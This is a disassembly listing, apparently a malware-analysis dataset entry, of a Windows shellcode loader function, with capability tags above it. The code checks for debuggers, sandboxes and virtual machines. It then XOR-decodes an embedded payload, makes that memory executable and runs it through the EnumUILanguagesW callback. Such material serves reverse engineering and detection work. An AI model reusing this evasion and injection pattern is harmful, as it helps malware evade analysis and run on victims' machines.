Function at 0x140002140
Capabilities:
Allocate or change rwx memory
Check for debugger via api
Encode data using xor
Execute shellcode via windows callback function
Get disk information
Get local ipv4 addresses
Get memory capacity
Get system information on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x710]
sub rsp, 0x810
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140002184
lea rdx, [0x140037408]
lea rcx, [0x14003e3e0]
call fcn.140004bf0
mov rcx, rax
call fcn.140004b50
mov eax, 1
add rsp, 0x810
pop rbp
ret
mov qword [rsp + 0x7f0], r15
xor r15d, r15d
mov dword [rbp + 0x728], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x728]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x1400021e9
cmp dword [rbp + 0x728], r15d
je 0x1400021e9
lea rdx, [0x140037420]
lea rcx, [0x14003e3e0]
call fcn.140004bf0
mov rcx, rax
call fcn.140004b50
lea eax, [r15 + 1]
mov r15, qword [rsp + 0x7f0]
add rsp, 0x810
pop rbp
ret
mov ecx, 0x1000
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x140002229
lea rdx, [0x140037440]
lea rcx, [0x14003e3e0]
call fcn.140004bf0
mov rcx, rax
call fcn.140004b50
mov r15, qword [rsp + 0x7f0]
mov eax, 1
add rsp, 0x810
pop rbp
ret
mov qword [rsp + 0x838], rbx
mov qword [rsp + 0x808], rsi
mov qword [rsp + 0x800], rdi
call fcn.140006468
mov rbx, rax
call fcn.14000644c
mov rcx, rax
movabs rsi, 0xb2f4fc0794908cf3
cmp rbx, 0x989680
jne 0x14000226a
imul rbx, rcx, 0x64
jmp 0x1400022da
cmp rbx, 0x16e3600
jne 0x1400022be
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x16e3600
imul r8, rdx, 0x3b9aca00
sub rcx, rax
mov rax, rsi
imul rcx, rcx, 0x3b9aca00
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rbx, rdx
shr rbx, 0x3f
add rbx, rdx
add rbx, r8
jmp 0x1400022da
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
lea rcx, [rbp + 0x720]
mov qword [rbp + 0x720], 0x64
call fcn.1400049b0
call fcn.140006468
mov rdi, rax
call fcn.14000644c
mov r9, rax
cmp rdi, 0x989680
jne 0x140002310
imul rcx, r9, 0x64
jmp 0x14000237f
cmp rdi, 0x16e3600
jne 0x140002364
mov rax, rsi
imul r9
mov rax, rsi
add rdx, r9
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul rcx, rdx, 0x16e3600
imul r8, rdx, 0x3b9aca00
sub r9, rcx
imul rcx, r9, 0x3b9aca00
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
add rcx, r8
jmp 0x14000237f
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rcx, rax
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
mov rbx, rdx
sar rbx, 0x12
mov rax, rbx
shr rax, 0x3f
add rbx, rax
mov rdx, rbx
call fcn.1400027d0
mov rcx, rax
call fcn.140004b50
cmp rbx, 0x64
jge 0x1400023db
lea rdx, str.This_program_may_be_running_in_a_sandbox_
lea rcx, [0x14003e3e0]
call fcn.140004bf0
mov rcx, rax
call fcn.140004b50
mov eax, 1
jmp 0x14000279a
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x14000241f
lea rdx, str.Failed_to_get_system_memory_status.
lea rcx, [0x14003e580]
call fcn.140004bf0
mov rcx, rax
call fcn.140004b50
mov edx, 1
call fcn.140002c30
mov rcx, rax
call fcn.140004b50
jmp 0x14000244f
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rbp - 0x3c]
xor edx, edx
mov rax, qword [rbp - 0x68]
div rcx
mov edx, eax
mov rbx, rax
call fcn.140002c30
mov rcx, rax
call fcn.140004b50
cmp ebx, 0x3d0900
jge 0x140002474
lea rdx, str.The_memory_page_is_smaller_than_normal_and_may_be_in_a_virtual_machine_environment
lea rcx, [0x14003e3e0]
call fcn.140004bf0
mov rcx, rax
call fcn.140004b50
mov eax, 1
jmp 0x14000279a
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, r15d
xor bl, bl
mov esi, eax
movzx r8d, bl
bt esi, r8d
jae 0x1400024b9
add r8d, 0x41
lea rdx, str._c:_
lea rcx, [rbp + 0x720]
call fcn.140004ea0
lea rcx, [rbp + 0x720]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
add eax, 0xfffffffe
cmp eax, 1
ja 0x1400024b9
inc edi
inc bl
cmp bl, 0x1a
jl 0x140002481
mov edx, edi
call fcn.140002c30
mov rcx, rax
call fcn.140004b50
cmp edi, 2
jge 0x1400024f9
lea rdx, str.The_number_of_hard_disks_is_smaller_than_normal__and_the_hard_disks_may_be_in_a_VM_environment
lea rcx, [0x14003e3e0]
call fcn.140004bf0
mov rcx, rax
call fcn.140004b50
mov eax, 1
jmp 0x14000279a
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rsp + 0x68]
call fcn.140002a00
mov rcx, rax
call fcn.140004b50
cmp dword [rsp + 0x68], 4
ja 0x140002541
lea rdx, str.If_the_number_of_cpus_is_smaller_than_normal__the_system_may_be_running_on_a_VM
lea rcx, [0x14003e3e0]
call fcn.140004bf0
mov rcx, rax
call fcn.140004b50
mov eax, 1
jmp 0x14000279a
xor r9d, r9d
mov dword [rbp + 0x720], r15d
lea rax, [rbp + 0x720]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov ecx, dword [rbp + 0x720]
call fcn.1400090a4
mov rdi, rax
xor r8d, r8d
lea rax, [rbp + 0x720]
mov r9, rdi
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r8 + 0x10]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov ebx, r15d
nop word [rax + rax]
mov ecx, ebx
inc ebx
cmp dword [rdi + 0x68], 1
mov rdi, qword [rdi + 8]
cmovne ebx, ecx
test rdi, rdi
jne 0x1400025a0
mov edx, ebx
call fcn.140002c30
mov rcx, rax
call fcn.140004b50
cmp ebx, 2
jge 0x1400025eb
lea rdx, str.The_number_of_network_adapters_is_smaller_than_normal__and_the_network_adapter_may_be_in_a_VM_environment
lea rcx, [0x14003e3e0]
call fcn.140004bf0
mov rcx, rax
call fcn.140004b50
lea eax, [rdi + 1]
jmp 0x14000279a
mov qword [rsp + 0x7f8], r14
mov r14d, 0x1f4
mov qword [rbp + 0x730], 0x64
dec r14d
call fcn.140006468
call fcn.14000644c
lea rcx, [rbp + 0x730]
call fcn.1400049b0
call fcn.140006468
call fcn.14000644c
xor ecx, ecx
call fcn.140012d70
mov rcx, rax
call fcn.14000f978
lea rdx, [rbp + 0x370]
mov ecx, 6
lea rax, [0x140037610]
nop dword [rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140002650
movups xmm0, xmmword [rax]
mov rcx, qword [rax + 0x70]
mov rbx, 0xffffffffffffffff
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
movups xmm0, xmmword [str.___GF_345Hikf_kg]
mov dword [rdx + 0x78], ecx
movzx ecx, word [rax + 0x7c]
mov eax, dword [0x1400379a0]
mov dword [rsp + 0x40], eax
lea rax, [rsp + 0x30]
mov word [rdx + 0x7c], cx
movups xmmword [rsp + 0x30], xmm0
inc rbx
cmp byte [rax + rbx], r15b
jne 0x140002711
mov edi, r15d
mov rsi, r15
mov eax, edi
cdq
idiv ebx
movsxd rax, edx
movzx ecx, byte [rsp + rax + 0x30]
xor cl, byte [rbp + rsi + 0x370]
movzx edx, cl
lea rcx, str.x_x
mov byte [rbp + rsi - 0x10], dl
call fcn.140001240
inc edi
lea rsi, [rsi + 1]
cmp edi, 0x37e
jb 0x140002720
lea r9, [rbp + 0x720]
mov dword [rbp + 0x720], r15d
mov edx, 0x37e
lea rcx, [rbp - 0x10]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
lea rcx, [rbp - 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
test r14d, r14d
jne 0x140002604
mov r14, qword [rsp + 0x7f8]
xor eax, eax
mov rdi, qword [rsp + 0x800]
mov rsi, qword [rsp + 0x808]
mov rbx, qword [rsp + 0x838]
mov r15, qword [rsp + 0x7f0]
add rsp, 0x810
pop rbp
ret